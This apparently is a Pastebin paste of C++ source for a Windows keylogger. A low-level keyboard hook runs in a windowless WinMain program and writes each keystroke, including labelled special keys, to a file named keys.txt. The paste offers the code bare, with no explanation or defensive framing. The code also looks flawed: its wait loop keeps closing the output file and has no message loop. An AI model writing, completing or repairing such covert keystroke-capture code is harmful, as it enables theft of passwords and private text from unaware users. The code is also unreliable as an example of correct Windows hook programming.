Advertisement
Guest User

Untitled

a guest
Dec 9th, 2019
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.52 KB | None | 0 0
  1. #define _WIN32_WINNT 0x0500
  2. #include<fstream>
  3. #include<windows.h>
  4. #include <chrono>
  5. #include <thread>
  6. #include <condition_variable>
  7. using namespace std;
  8. std::condition_variable cv;
  9. ofstream out("keys.txt", ios::out);
  10. LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
  11. PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)(lParam);
  12.  
  13. // If key is being pressed
  14. if (wParam == WM_KEYDOWN) {
  15. switch (p->vkCode) {
  16. // Invisible keys
  17. case VK_CAPITAL: out << "<CAPLOCK>"; break;
  18. case VK_SHIFT: out << "<SHIFT>"; break;
  19. case VK_LCONTROL: out << "<LCTRL>"; break;
  20. case VK_RCONTROL: out << "<RCTRL>"; break;
  21. case VK_INSERT: out << "<INSERT>"; break;
  22. case VK_END: out << "<END>"; break;
  23. case VK_PRINT: out << "<PRINT>"; break;
  24. case VK_DELETE: out << "<DEL>"; break;
  25. case VK_BACK: out << "<BK>"; break;
  26. case VK_LEFT: out << "<LEFT>"; break;
  27. case VK_RIGHT: out << "<RIGHT>"; break;
  28. case VK_UP: out << "<UP>"; break;
  29. case VK_DOWN: out << "<DOWN>"; break;
  30. // Visible keys
  31. default:
  32. out << char(tolower(p->vkCode));
  33. }
  34. }
  35. return CallNextHookEx(NULL, nCode, wParam, lParam);
  36. }
  37. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
  38. // Set windows hook
  39. std::this_thread::sleep_for(std::chrono::milliseconds(15));
  40.  
  41. HHOOK keyboardHook = SetWindowsHookEx(
  42. WH_KEYBOARD_LL,
  43. keyboardHookProc,
  44. hInstance,
  45. 0);
  46.  
  47. while (GetAsyncKeyState(VK_ESCAPE)==0) {
  48. out.close();
  49. }
  50.  
  51.  
  52. return 0;
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement